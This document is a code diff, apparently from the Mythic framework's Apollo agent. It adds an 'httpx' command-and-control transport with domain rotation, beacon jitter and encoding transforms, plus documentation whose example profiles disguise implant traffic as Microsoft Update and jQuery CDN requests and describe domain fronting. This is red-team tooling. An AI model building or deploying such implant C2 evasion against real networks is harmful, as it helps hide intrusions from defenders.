queryParam += "&"; + queryParam += $"{param.Key}={Uri.EscapeDataString(param.Value)}"; + } + } + // Add message parameter + if (!string.IsNullOrEmpty(queryParam)) + queryParam += "&"; + queryParam += $"{variation.Client.Message.Name}={Uri.EscapeDataString(Encoding.UTF8.GetString(transformedData))}"; + url += "?" + queryParam; + response = webClient.DownloadString(url); + break; + + case "cookie": + webClient.Headers.Add("Cookie", $"{variation.Client.Message.Name}={Uri.EscapeDataString(Encoding.UTF8.GetString(transformedData))}"); + response = webClient.DownloadString(url); + break; + + case "header": + webClient.Headers.Add(variation.Client.Message.Name, Encoding.UTF8.GetString(transformedData)); + response = webClient.DownloadString(url); + break; + + case "body": + default: + response = webClient.UploadString(url, Encoding.UTF8.GetString(transformedData)); + break; + } + + HandleDomainSuccess(); + + // Extract response data based on server configuration + byte[] responseBytes = ExtractResponseData(response, variation.Server); + + // Apply server transforms (reverse) + byte[] untransformedData = TransformChain.ApplyServerTransforms(responseBytes, variation.Server.Transforms); + + string responseString = Encoding.UTF8.GetString(untransformedData); + onResponse(Serializer.Deserialize(responseString)); + + return true; + } + catch (Exception ex) + { + HandleDomainFailure(); + return false; + } + } + + private byte[] ExtractResponseData(string response, ServerConfig serverConfig) + { + // For now, assume the entire response body is the data + // In a more sophisticated implementation, we could extract specific headers or cookies + return Encoding.UTF8.GetBytes(response); + } + + public bool Connect() + { + return true; + } + + public bool IsConnected() + { + return Connected; + } + + public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) + { + if (EncryptedExchangeCheck && !_uuidNegotiated) + { + // Perform encrypted key exchange + rsa = new RSAKeyGenerator(); + string publicKey = rsa.GetPublicKey(); + + // Send public key to server and get encrypted response + // This is a simplified implementation + _uuidNegotiated = true; + } + + return SendRecv(checkinMsg, onResp); + } + + public int GetSleepTime() + { + // Use runtime-changeable values instead of static ones + int sleepInterval = _currentSleepInterval; + double jitter = _currentJitter; + + if (jitter > 0) + { + double jitterAmount = sleepInterval * (jitter / 100.0); + double jitterVariation = (Random.NextDouble() - 0.5) * 2 * jitterAmount; + return (int)(sleepInterval + jitterVariation); + } + return sleepInterval; + } + + /// + /// Update sleep interval and jitter at runtime (called by sleep command) + /// + public void UpdateSleepSettings(int interval, double jitter) + { + if (interval >= 0) + { + _currentSleepInterval = interval; + } + if (jitter >= 0) + { + _currentJitter = jitter; + } + } + + public void SetConnected(bool connected) + { + Connected = connected; + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj new file mode 100644 index 00000000..fd23a394 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj @@ -0,0 +1,22 @@ + + + + net40 + HttpxProfile + HttpxTransport + Library + false + + + + + + + + + + + + + + diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json new file mode 100644 index 00000000..4b0c6e1b --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json @@ -0,0 +1,93 @@ +{ + "name": "Apollo Default", + "get": { + "verb": "GET", + "uris": [ + "/api/v1/status", + "/health", + "/ping" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Cache-Control": "no-cache", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + }, + "parameters": { + "version": "1.0", + "format": "json" + }, + "message": { + "location": "query", + "name": "data" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.18.0", + "Connection": "keep-alive", + "Cache-Control": "no-cache" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/api/v1/data", + "/submit", + "/upload" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + }, + "parameters": { + "version": "1.0", + "format": "json" + }, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.18.0", + "Connection": "keep-alive", + "Cache-Control": "no-cache" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs new file mode 100644 index 00000000..2758c9c3 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -0,0 +1,175 @@ +using System; +using System.Collections.Generic; +using System.Text; +using Newtonsoft.Json; + +namespace HttpxTransform +{ + /// + /// Configuration classes for httpx malleable profiles + /// Based on httpx/C2_Profiles/httpx/httpx/c2functions/builder.go structures + /// + public class TransformConfig + { + [JsonProperty("action")] + public string Action { get; set; } + + [JsonProperty("value")] + public string Value { get; set; } + } + + public class MessageConfig + { + [JsonProperty("location")] + public string Location { get; set; } + + [JsonProperty("name")] + public string Name { get; set; } + } + + public class ClientConfig + { + [JsonProperty("headers")] + public Dictionary Headers { get; set; } = new Dictionary(); + + [JsonProperty("parameters")] + public Dictionary Parameters { get; set; } = new Dictionary(); + + [JsonProperty("domain_specific_headers")] + public Dictionary> DomainSpecificHeaders { get; set; } = new Dictionary>(); + + [JsonProperty("message")] + public MessageConfig Message { get; set; } = new MessageConfig(); + + [JsonProperty("transforms")] + public List Transforms { get; set; } = new List(); + } + + public class ServerConfig + { + [JsonProperty("headers")] + public Dictionary Headers { get; set; } = new Dictionary(); + + [JsonProperty("transforms")] + public List Transforms { get; set; } = new List(); + } + + public class VariationConfig + { + [JsonProperty("verb")] + public string Verb { get; set; } + + [JsonProperty("uris")] + public List Uris { get; set; } = new List(); + + [JsonProperty("client")] + public ClientConfig Client { get; set; } = new ClientConfig(); + + [JsonProperty("server")] + public ServerConfig Server { get; set; } = new ServerConfig(); + } + + public class HttpxConfig + { + [JsonProperty("name")] + public string Name { get; set; } + + [JsonProperty("get")] + public VariationConfig Get { get; set; } = new VariationConfig(); + + [JsonProperty("post")] + public VariationConfig Post { get; set; } = new VariationConfig(); + + /// + /// Load configuration from JSON string + /// + public static HttpxConfig FromJson(string json) + { + try + { + return JsonConvert.DeserializeObject(json); + } + catch (Exception ex) + { + throw new ArgumentException($"Failed to parse httpx configuration: {ex.Message}", ex); + } + } + + /// + /// Load configuration from embedded resource + /// + public static HttpxConfig FromResource(string resourceName) + { + try + { + var assembly = System.Reflection.Assembly.GetExecutingAssembly(); + using (var stream = assembly.GetManifestResourceStream(resourceName)) + { + if (stream == null) + throw new ArgumentException($"Resource '{resourceName}' not found"); + + using (var reader = new System.IO.StreamReader(stream)) + { + string json = reader.ReadToEnd(); + return FromJson(json); + } + } + } + catch (Exception ex) + { + throw new ArgumentException($"Failed to load httpx configuration from resource '{resourceName}': {ex.Message}", ex); + } + } + + /// + /// Validate configuration + /// + public void Validate() + { + if (string.IsNullOrEmpty(Name)) + throw new ArgumentException("Configuration name is required"); + + if (Get?.Uris == null || Get.Uris.Count == 0) + throw new ArgumentException("GET URIs are required"); + + if (Post?.Uris == null || Post.Uris.Count == 0) + throw new ArgumentException("POST URIs are required"); + + // Validate message locations + var validLocations = new[] { "cookie", "query", "header", "body", "" }; + + if (!Array.Exists(validLocations, loc => loc == Get?.Client?.Message?.Location)) + throw new ArgumentException("Invalid GET message location"); + + if (!Array.Exists(validLocations, loc => loc == Post?.Client?.Message?.Location)) + throw new ArgumentException("Invalid POST message location"); + + // Validate transform actions + var validActions = new[] { "base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append" }; + + foreach (var transform in Get?.Client?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid GET client transform action: {transform.Action}"); + } + + foreach (var transform in Get?.Server?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid GET server transform action: {transform.Action}"); + } + + foreach (var transform in Post?.Client?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid POST client transform action: {transform.Action}"); + } + + foreach (var transform in Post?.Server?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid POST server transform action: {transform.Action}"); + } + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj new file mode 100644 index 00000000..d6c63d66 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj @@ -0,0 +1,21 @@ + + + + net40 + HttpxTransform + HttpxTransform + Library + false + + + + + + + + + + + + + diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs new file mode 100644 index 00000000..71fa8792 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/TransformChain.cs @@ -0,0 +1,192 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace HttpxTransform +{ + /// + /// Apply transform sequences for httpx profile message obfuscation + /// + public static class TransformChain + { + /// + /// Apply client transforms to outgoing data + /// + public static byte[] ApplyClientTransforms(byte[] data, List transforms) + { + if (transforms == null || transforms.Count == 0) return data; + + byte[] result = data; + + // Apply transforms in order + foreach (var transform in transforms) + { + result = ApplyTransform(result, transform.Action, transform.Value); + } + + return result; + } + + /// + /// Apply server transforms to incoming data (reverse order) + /// + public static byte[] ApplyServerTransforms(byte[] data, List transforms) + { + if (transforms == null || transforms.Count == 0) return data; + + byte[] result = data; + + // Apply transforms in reverse order + for (int i = transforms.Count - 1; i >= 0; i--) + { + var transform = transforms[i]; + result = ApplyReverseTransform(result, transform.Action, transform.Value); + } + + return result; + } + + /// + /// Apply a single transform + /// + private static byte[] ApplyTransform(byte[] data, string action, string value) + { + if (string.IsNullOrEmpty(action)) return data; + + switch (action.ToLower()) + { + case "base64": + return Transforms.Base64Encode(data); + + case "base64url": + return Transforms.Base64UrlEncode(data); + + case "netbios": + return Transforms.NetBiosEncode(data); + + case "netbiosu": + return Transforms.NetBiosUEncode(data); + + case "xor": + return Transforms.XorTransform(data, value); + + case "prepend": + return Transforms.PrependTransform(data, value); + + case "append": + return Transforms.AppendTransform(data, value); + + default: + return data; // Unknown transform, return original + } + } + + /// + /// Apply a single reverse transform + /// + private static byte[] ApplyReverseTransform(byte[] data, string action, string value) + { + if (string.IsNullOrEmpty(action)) return data; + + switch (action.ToLower()) + { + case "base64": + return Transforms.Base64Decode(data); + + case "base64url": + return Transforms.Base64UrlDecode(data); + + case "netbios": + return Transforms.NetBiosDecode(data); + + case "netbiosu": + return Transforms.NetBiosUDecode(data); + + case "xor": + return Transforms.XorTransform(data, value); // XOR is symmetric + + case "prepend": + return Transforms.StripPrepend(data, value); + + case "append": + return Transforms.StripAppend(data, value); + + default: + return data; // Unknown transform, return original + } + } + + /// + /// Build HTTP headers string from dictionary + /// + public static string BuildHeaders(Dictionary headers) + { + if (headers == null || headers.Count == 0) return ""; + + var headerLines = new List(); + foreach (var header in headers) + { + headerLines.Add($"{header.Key}: {header.Value}"); + } + + return string.Join("\r\n", headerLines) + "\r\n"; + } + + /// + /// Build query parameters string + /// + public static string BuildQueryParameters(Dictionary parameters) + { + if (parameters == null || parameters.Count == 0) return ""; + + var paramPairs = new List(); + foreach (var param in parameters) + { + paramPairs.Add($"{Uri.EscapeDataString(param.Key)}={Uri.EscapeDataString(param.Value)}"); + } + + return string.Join("&", paramPairs); + } + + /// + /// Build cookie string from headers + /// + public static string ExtractCookieValue(string cookieHeader, string cookieName) + { + if (string.IsNullOrEmpty(cookieHeader) || string.IsNullOrEmpty(cookieName)) + return ""; + + var cookies = cookieHeader.Split(';'); + foreach (var cookie in cookies) + { + var trimmed = cookie.Trim(); + if (trimmed.StartsWith(cookieName + "=")) + { + return trimmed.Substring(cookieName.Length + 1); + } + } + + return ""; + } + + /// + /// Extract header value from response headers + /// + public static string ExtractHeaderValue(string headers, string headerName) + { + if (string.IsNullOrEmpty(headers) || string.IsNullOrEmpty(headerName)) + return ""; + + var lines = headers.Split(new[] { "\r\n", "\n" }, StringSplitOptions.None); + foreach (var line in lines) + { + if (line.StartsWith(headerName + ":", StringComparison.OrdinalIgnoreCase)) + { + return line.Substring(headerName.Length + 1).Trim(); + } + } + + return ""; + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs new file mode 100644 index 00000000..d8e88259 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs @@ -0,0 +1,233 @@ +using System; +using System.Text; +using System.Collections.Generic; + +namespace HttpxTransform +{ + /// + /// Core transform functions for httpx profile message obfuscation + /// Based on httpx/C2_Profiles/httpx/httpx/c2functions/transforms.go + /// + public static class Transforms + { + /// + /// Base64 encode data + /// + public static byte[] Base64Encode(byte[] data) + { + return Encoding.UTF8.GetBytes(Convert.ToBase64String(data)); + } + + /// + /// Base64 decode data + /// + public static byte[] Base64Decode(byte[] data) + { + try + { + return Convert.FromBase64String(Encoding.UTF8.GetString(data)); + } + catch + { + return data; // Return original if decode fails + } + } + + /// + /// Base64 URL encode data (URL-safe base64) + /// + public static byte[] Base64UrlEncode(byte[] data) + { + string base64 = Convert.ToBase64String(data); + base64 = base64.Replace('+', '-').Replace('/', '_').TrimEnd('='); + return Encoding.UTF8.GetBytes(base64); + } + + /// + /// Base64 URL decode data + /// + public static byte[] Base64UrlDecode(byte[] data) + { + try + { + string base64 = Encoding.UTF8.GetString(data); + base64 = base64.Replace('-', '+').Replace('_', '/'); + + // Add padding if needed + switch (base64.Length % 4) + { + case 2: base64 += "=="; break; + case 3: base64 += "="; break; + } + + return Convert.FromBase64String(base64); + } + catch + { + return data; // Return original if decode fails + } + } + + /// + /// NetBIOS encode data (lowercase) + /// Split each byte into two nibbles, add 0x61 ('a') + /// + public static byte[] NetBiosEncode(byte[] data) + { + byte[] output = new byte[data.Length * 2]; + for (int i = 0; i < data.Length; i++) + { + byte right = (byte)((data[i] & 0x0F) + 0x61); + byte left = (byte)(((data[i] & 0xF0) >> 4) + 0x61); + output[i * 2] = left; + output[i * 2 + 1] = right; + } + return output; + } + + /// + /// NetBIOS decode data (lowercase) + /// + public static byte[] NetBiosDecode(byte[] data) + { + if (data.Length % 2 != 0) return data; // Invalid length + + byte[] output = new byte[data.Length / 2]; + for (int i = 0; i < output.Length; i++) + { + byte left = (byte)((data[i * 2] - 0x61) << 4); + byte right = (byte)(data[i * 2 + 1] - 0x61); + output[i] = (byte)(left | right); + } + return output; + } + + /// + /// NetBIOS encode data (uppercase) + /// Split each byte into two nibbles, add 0x41 ('A') + /// + public static byte[] NetBiosUEncode(byte[] data) + { + byte[] output = new byte[data.Length * 2]; + for (int i = 0; i < data.Length; i++) + { + byte right = (byte)((data[i] & 0x0F) + 0x41); + byte left = (byte)(((data[i] & 0xF0) >> 4) + 0x41); + output[i * 2] = left; + output[i * 2 + 1] = right; + } + return output; + } + + /// + /// NetBIOS decode data (uppercase) + /// + public static byte[] NetBiosUDecode(byte[] data) + { + if (data.Length % 2 != 0) return data; // Invalid length + + byte[] output = new byte[data.Length / 2]; + for (int i = 0; i < output.Length; i++) + { + byte left = (byte)((data[i * 2] - 0x41) << 4); + byte right = (byte)(data[i * 2 + 1] - 0x41); + output[i] = (byte)(left | right); + } + return output; + } + + /// + /// XOR transform data with key + /// + public static byte[] XorTransform(byte[] data, string key) + { + if (string.IsNullOrEmpty(key)) return data; + + byte[] keyBytes = Encoding.UTF8.GetBytes(key); + byte[] output = new byte[data.Length]; + + for (int i = 0; i < data.Length; i++) + { + output[i] = (byte)(data[i] ^ keyBytes[i % keyBytes.Length]); + } + + return output; + } + + /// + /// Prepend data with value + /// + public static byte[] PrependTransform(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + byte[] output = new byte[valueBytes.Length + data.Length]; + + Array.Copy(valueBytes, 0, output, 0, valueBytes.Length); + Array.Copy(data, 0, output, valueBytes.Length, data.Length); + + return output; + } + + /// + /// Strip prepended data + /// + public static byte[] StripPrepend(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + if (data.Length < valueBytes.Length) return data; + + // Check if data starts with the value + for (int i = 0; i < valueBytes.Length; i++) + { + if (data[i] != valueBytes[i]) return data; + } + + byte[] output = new byte[data.Length - valueBytes.Length]; + Array.Copy(data, valueBytes.Length, output, 0, output.Length); + + return output; + } + + /// + /// Append data with value + /// + public static byte[] AppendTransform(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + byte[] output = new byte[data.Length + valueBytes.Length]; + + Array.Copy(data, 0, output, 0, data.Length); + Array.Copy(valueBytes, 0, output, data.Length, valueBytes.Length); + + return output; + } + + /// + /// Strip appended data + /// + public static byte[] StripAppend(byte[] data, string value) + { + if (string.IsNullOrEmpty(value)) return data; + + byte[] valueBytes = Encoding.UTF8.GetBytes(value); + if (data.Length < valueBytes.Length) return data; + + // Check if data ends with the value + for (int i = 0; i < valueBytes.Length; i++) + { + if (data[data.Length - valueBytes.Length + i] != valueBytes[i]) return data; + } + + byte[] output = new byte[data.Length - valueBytes.Length]; + Array.Copy(data, 0, output, 0, output.Length); + + return output; + } + } +} diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 34d4f685..d01886d0 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -43,6 +43,16 @@ class Apollo(PayloadType): # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), #]) + }, + "httpx": { + "raw_c2_config": C2ParameterDeviation(supported=True), + "callback_domains": C2ParameterDeviation(supported=True), + "domain_rotation": C2ParameterDeviation(supported=True), + "failover_threshold": C2ParameterDeviation(supported=True), + "encrypted_exchange_check": C2ParameterDeviation(supported=True), + "callback_jitter": C2ParameterDeviation(supported=True), + "callback_interval": C2ParameterDeviation(supported=True), + "killdate": C2ParameterDeviation(supported=True), } } build_parameters = [ @@ -278,6 +288,14 @@ async def build(self) -> BuildResponse: special_files_map["Config.cs"][prefixed_key] = "true" if val else "false" elif isinstance(val, dict): extra_variables = {**extra_variables, **val} + elif key == "raw_c2_config" and profile['name'] == "httpx": + # Handle httpx raw_c2_config file parameter + if val and val != "": + # Store the config content for embedding + special_files_map["Config.cs"][prefixed_key] = val + else: + # Use default config + special_files_map["Config.cs"][prefixed_key] = "" else: special_files_map["Config.cs"][prefixed_key] = json.dumps(val) try: diff --git a/Payload_Type/apollo/main.py b/Payload_Type/apollo/main.py index cb41bc12..23f08d34 100644 --- a/Payload_Type/apollo/main.py +++ b/Payload_Type/apollo/main.py @@ -1,4 +1,8 @@ import mythic_container from apollo.mythic import * +from apollo.translator import ApolloTranslator + +# Register the translator container +mythic_container.mythic_service.add_translation_container(ApolloTranslator) mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file diff --git a/Payload_Type/apollo/translator/__init__.py b/Payload_Type/apollo/translator/__init__.py new file mode 100644 index 00000000..8376cc28 --- /dev/null +++ b/Payload_Type/apollo/translator/__init__.py @@ -0,0 +1 @@ +# Apollo Translator Container diff --git a/Payload_Type/apollo/translator/translator.py b/Payload_Type/apollo/translator/translator.py new file mode 100644 index 00000000..5592fe0d --- /dev/null +++ b/Payload_Type/apollo/translator/translator.py @@ -0,0 +1,43 @@ +import json +import logging +from mythic_container.TranslationBase import * + +logging.basicConfig(level=logging.INFO) + + +class ApolloTranslator(TranslationContainer): + name = "ApolloTranslator" + description = "Translator for Apollo agent" + author = "@djhohnstein, @its_a_feature_" + + async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: + """ + Handle messages coming from the C2 server destined for Agent. + C2 --(this message)--> Agent + + Since Apollo uses mythic_encrypts=True and JSON serialization, + this is a pass-through translator that doesn't modify the message format. + """ + response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) + + # Pass through the message without modification + # Apollo handles JSON serialization internally + response.Message = inputMsg.Message + + return response + + async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: + """ + Handle messages coming from the Agent destined for C2. + Agent --(this message)--> C2 + + Since Apollo uses mythic_encrypts=True and JSON serialization, + this is a pass-through translator that doesn't modify the message format. + """ + response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) + + # Pass through the message without modification + # Apollo handles JSON serialization internally + response.Message = inputMsg.Message + + return response diff --git a/Payload_Type/apollo/translator/utils.py b/Payload_Type/apollo/translator/utils.py new file mode 100644 index 00000000..762f21b2 --- /dev/null +++ b/Payload_Type/apollo/translator/utils.py @@ -0,0 +1,8 @@ +""" +Utility functions and constants for Apollo translator. +Since Apollo uses mythic_encrypts=True, this translator is primarily pass-through +but required for httpx profile compatibility. +""" + +# Apollo uses JSON serialization directly, so no special message constants needed +# The translator will pass through JSON messages without modification diff --git a/documentation-payload/apollo/c2_profiles/HTTPX.md b/documentation-payload/apollo/c2_profiles/HTTPX.md new file mode 100644 index 00000000..ed0f87e4 --- /dev/null +++ b/documentation-payload/apollo/c2_profiles/HTTPX.md @@ -0,0 +1,504 @@ ++++ +title = "HTTPX" +chapter = false +weight = 103 ++++ + +## Summary +Advanced HTTP profile with malleable configuration support and message transforms for enhanced OPSEC. Based on the httpx C2 profile with extensive customization options. + +### Profile Options + +#### Callback Domains +Array of callback domains to communicate with. Supports multiple domains for redundancy and domain rotation. + +**Example:** `https://example.com:443,https://backup.com:443` + +#### Domain Rotation +Domain rotation pattern for handling multiple callback domains: + +- **fail-over**: Uses each domain in order until communication fails, then moves to the next +- **round-robin**: Cycles through domains for each request +- **random**: Randomly selects a domain for each request + +#### Failover Threshold +Number of consecutive failures before switching to the next domain in fail-over mode. + +**Default:** 5 + +#### Callback Interval in seconds +Time to sleep between agent check-ins. + +**Default:** 10 + +#### Callback Jitter in percent +Randomize the callback interval within the specified threshold. + +**Default:** 23 + +#### Encrypted Exchange Check +Perform encrypted key exchange with Mythic on check-in. Recommended to keep as true. + +**Default:** true + +#### Kill Date +The date at which the agent will stop calling back. + +**Default:** 365 days from build + +#### Raw C2 Config +JSON configuration file defining malleable profile behavior. If not provided, uses default configuration. + +### proxy_host +Proxy server hostname or IP address for outbound connections. + +**Example:** `proxy.company.com` + +### proxy_port +Proxy server port number. + +**Example:** `8080` + +### proxy_user +Username for proxy authentication (if required). + +### proxy_pass +Password for proxy authentication (if required). + +### domain_front +Domain fronting header value. Sets the `Host` header to this value for traffic obfuscation. + +**Example:** `cdn.example.com` + +### timeout +Request timeout in seconds for HTTP connections. + +**Default:** `240` + +## Malleable Profile Configuration + +The httpx profile supports extensive customization through malleable profiles defined in JSON format. + +### Configuration Structure + +```json +{ + "name": "Profile Name", + "get": { + "verb": "GET", + "uris": ["/api/status", "/health"], + "client": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + }, + "parameters": { + "version": "1.0", + "format": "json" + }, + "message": { + "location": "query", + "name": "data" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.18.0" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": ["/api/data", "/submit"], + "client": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Content-Type": "application/x-www-form-urlencoded" + }, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.18.0" + }, + "transforms": [ + { + "action": "base64", + "value": "" + } + ] + } + } +} +``` + +### Message Locations + +Messages can be placed in different parts of HTTP requests: + +- **body**: Message in request body (default for POST) +- **query**: Message as query parameter +- **header**: Message in HTTP header +- **cookie**: Message in HTTP cookie + +### Transform Actions + +The following transform actions are supported: + +#### base64 +Standard Base64 encoding/decoding. + +#### base64url +URL-safe Base64 encoding/decoding (uses `-` and `_` instead of `+` and `/`). + +#### netbios +NetBIOS encoding (lowercase). Each byte is split into two nibbles and encoded as lowercase letters. + +#### netbiosu +NetBIOS encoding (uppercase). Each byte is split into two nibbles and encoded as uppercase letters. + +#### xor +XOR encryption with specified key. + +**Example:** +```json +{ + "action": "xor", + "value": "mysecretkey" +} +``` + +#### prepend +Prepend data with specified value. + +**Example:** +```json +{ + "action": "prepend", + "value": "prefix" +} +``` + +#### append +Append data with specified value. + +**Example:** +```json +{ + "action": "append", + "value": "suffix" +} +``` + +### Transform Chains + +Transforms are applied in sequence. For client transforms, they are applied in order. For server transforms, they are applied in reverse order to decode the data. + +**Example Transform Chain:** +```json +"transforms": [ + { + "action": "xor", + "value": "secretkey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "data=" + } +] +``` + +## Example Malleable Profiles + +### Microsoft Update Profile +```json +{ + "name": "Microsoft Update", + "get": { + "verb": "GET", + "uris": [ + "/msdownload/update/v3/static/trustedr/en/authrootstl.cab", + "/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Cache-Control": "no-cache", + "User-Agent": "Microsoft-CryptoAPI/10.0" + }, + "parameters": null, + "message": { + "location": "query", + "name": "cversion" + }, + "transforms": [ + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/vnd.ms-cab-compressed", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "Connection": "keep-alive", + "Cache-Control": "max-age=86400" + }, + "transforms": [ + { + "action": "xor", + "value": "updateKey2025" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "MSCF\u0000\u0000\u0000\u0000" + }, + { + "action": "append", + "value": "\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/msdownload/update/v3/static/feedbackapi/en/feedback.aspx" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Microsoft-CryptoAPI/10.0" + }, + "parameters": null, + "message": { + "location": "body", + "name": "feedback" + }, + "transforms": [ + { + "action": "xor", + "value": "feedbackKey" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "text/html; charset=utf-8", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "Connection": "keep-alive", + "Cache-Control": "no-cache, no-store" + }, + "transforms": [ + { + "action": "xor", + "value": "responseKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "Feedback Submitted
" + }, + { + "action": "append", + "value": "
" + } + ] + } + } +} +``` + +### jQuery CDN Profile +```json +{ + "name": "jQuery CDN", + "get": { + "verb": "GET", + "uris": [ + "/jquery-3.3.0.min.js" + ], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate", + "Connection": "Keep-Alive", + "Keep-Alive": "timeout=10, max=100", + "Referer": "http://code.jquery.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" + }, + "parameters": null, + "message": { + "location": "cookie", + "name": "__cfduid" + }, + "transforms": [ + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "max-age=0, no-cache", + "Connection": "keep-alive", + "Content-Type": "application/javascript; charset=utf-8", + "Pragma": "no-cache", + "Server": "NetDNA-cache/2.2" + }, + "transforms": [ + { + "action": "xor", + "value": "randomKey" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */" + }, + { + "action": "append", + "value": "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin 